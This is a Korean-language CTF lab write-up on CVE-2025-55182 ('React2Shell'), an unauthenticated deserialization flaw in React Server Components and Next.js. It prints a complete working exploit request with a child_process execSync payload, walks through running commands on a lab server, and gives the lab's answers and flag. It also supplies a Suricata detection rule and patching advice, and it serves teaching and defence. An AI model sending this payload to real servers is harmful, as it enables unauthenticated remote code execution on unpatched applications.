
React2Shell CVE-2025-55182: React Server Components에서 인증되지 않은 안전하지 않은 역직렬화가 발생하여 Flight 프로토콜을 통한 안정적인 원격 코드 실행으로 이어집니다.
난이도: 중급 → 고급
분류: 웹 익스플로잇 | 역직렬화 | RCE

React2Shell이라는 별명을 가진 CVE-2025-55182는 방어자들을 순식간에 긴장시키는 취약점 중 하나입니다 😬. 2025년 12월에 발견되었으며 CVSS 점수 10.0을 기록했습니다. 이것만으로도 단순한 엣지 케이스 버그가 아님을 알 수 있습니다.
핵심적으로, 이 취약점은 React Server Components (RSC) 및 이를 기반으로 구축된 프레임워크, 특히 Next.js에 영향을 미칩니다. 무서운 점은 무엇일까요?
👉 인증되지 않은 원격 코드 실행 (RCE) 👉 단일하게 조작된 HTTP 요청 👉 기본 구성이 취약함
로그인 없음. 특별한 권한 없음. 잘 구성된 요청 하나면 충분합니다.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack이 룸에서는 이 버그가 왜 존재하는지, 어떻게 익스플로잇되는지, 그리고 방어자가 무엇을 할 수 있는지 살펴봅니다.
플래그: 답변이 필요 없습니다.
익스플로잇 전에 아키텍처를 명확히 이해해야 합니다.
React Server Components(React 19에서 도입)는 React 앱의 일부가 브라우저가 아닌 서버에서 실행되도록 합니다. 즉:
클라이언트와 서버 간의 통신은 React Flight 프로토콜을 통해 이루어집니다. 이 프로토콜은 클라이언트에서 데이터를 직렬화하고 서버에서 역직렬화합니다.
특수 마커를 사용합니다:
$@ → 청크 참조
$B → Blob 참조
콜론 표기법을 통한 속성 경로 예시:
$1:constructor:constructor
⚠️ 그리고 이 직렬화 로직이 바로 문제가 발생하는 지점입니다.
질문: Blob 참조를 나타내는 기호는 무엇인가요?
✅ 정답: $B
CVE-2025-55182의 핵심에는 전형적인 안전하지 않은 역직렬화 결함이 있습니다.
취약한 패턴을 살펴보겠습니다 (잘라내지 마세요 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
JavaScript에서 대괄호 표기법:
obj[someKey]
이 표기법은 내보낸 속성에만 접근을 제한하지 않습니다. 전체 프로토타입 체인을 탐색합니다.
이제 핵심 통찰이 등장합니다 👀:
.constructor가 있습니다constructor는 Function 생성자를 가리킵니다Function("code") = 임의 JS 실행Flight 프로토콜은 콜론으로 구분된 경로를 허용하므로 공격자는 다음을 보낼 수 있습니다:
$1:constructor:constructor
이것은 다음으로 해석됩니다:
.constructor 접근.constructor 다시 접근 → Function이 시점에서 게임 오버 🎮.
플래그: 답변이 필요 없습니다.
이제 maple3142의 PoC를 단계별로 분석해 보겠습니다.
공격자는 가짜 Chunk 객체를 포함한 multipart 요청을 보냅니다:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
이 객체는 React의 내부 Chunk 구조를 모방합니다.
then을 Chunk.prototype.then으로 가리키면 React는 공격자가 제어하는 로직을 대기하도록 속임을 당합니다.
$B1337 마커는 Blob 역직렬화 핸들러를 트리거하며, 내부적으로 다음을 실행합니다:
response._formData.get(response._prefix + id)
하지만 우리는 다음을 오염시켰습니다:
_formData.get → Function_prefix → 악성 JS결과 실행:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 임의 JavaScript 실행 달성.
PoC는 다음을 실행합니다:
process.mainModule
.require('child_process')
.execSync('xcalc')
이것은 간단히 다음으로 대체할 수 있습니다:
플래그: 답변이 필요 없습니다.
다음은 전체 익스플로잇 요청입니다 (그대로, 잘리지 않음):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…multipart 본문 계속됨…)
Next-Action 헤더는 Server Actions를 트리거합니다multipart/form-data는 필수입니다$@0은 자기 참조를 생성합니다$B1337은 Blob 로직을 트리거합니다constructor:constructor는 Function으로 이어집니다이것은 우연이 아닙니다 — 정밀하게 설계된 체인입니다.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
기타: React Router (RSC), Waku, Redwood SDK
📊 Wiz 연구: 클라우드 환경의 39% 노출됨 🌐 Shodan: 571k+ React 서버, 444k+ Next.js
그것은… 정말 많네요 😶
먼저 Repeater에서 New HTTP Request를 만들고 Target을 선택하세요.

Burp Suite Repeater를 사용하여 페이로드를 보냅니다:
execSync('id')

그리고 나중에:
execSync('whoami')

사용자: ubuntu
플래그:
{React-19.2.0}
깔끔하고, 안정적이며, 반복 가능한 익스플로잇 💀
방어자에게 좋은 소식 👮♂️ — 익스플로잇은 지문을 남깁니다.
Next-Action 헤더multipart/form-data"status":"resolved_model""then":"$1:__proto__:then"이러한 항목은 일반적인 사용자 트래픽에서 절대 나타나서는 안 됩니다.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
다음에 적합합니다:

React2Shell은 다음에 대한 교과서적인 예시입니다:
패치된 버전을 설치하고 npm audit 권장 사항을 따르면 익스플로잇은 완전히 죽습니다 ✅.
⚠️ 승인된 랩 외부에서 절대 테스트하지 마세요.
🔥 항상 빠르게 패치하세요.
🧠 버그를 익스플로잇하는 방법뿐만 아니라 버그가 왜 존재하는지 항상 이해하세요.
이 라이트업이 마음에 드셨거나 사이버 보안, CTF, VAPT 분야에서 제 작업과 계속 연결되고 싶다면:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
즐거운 해킹 되세요 — 책임감 있게 🗿🚀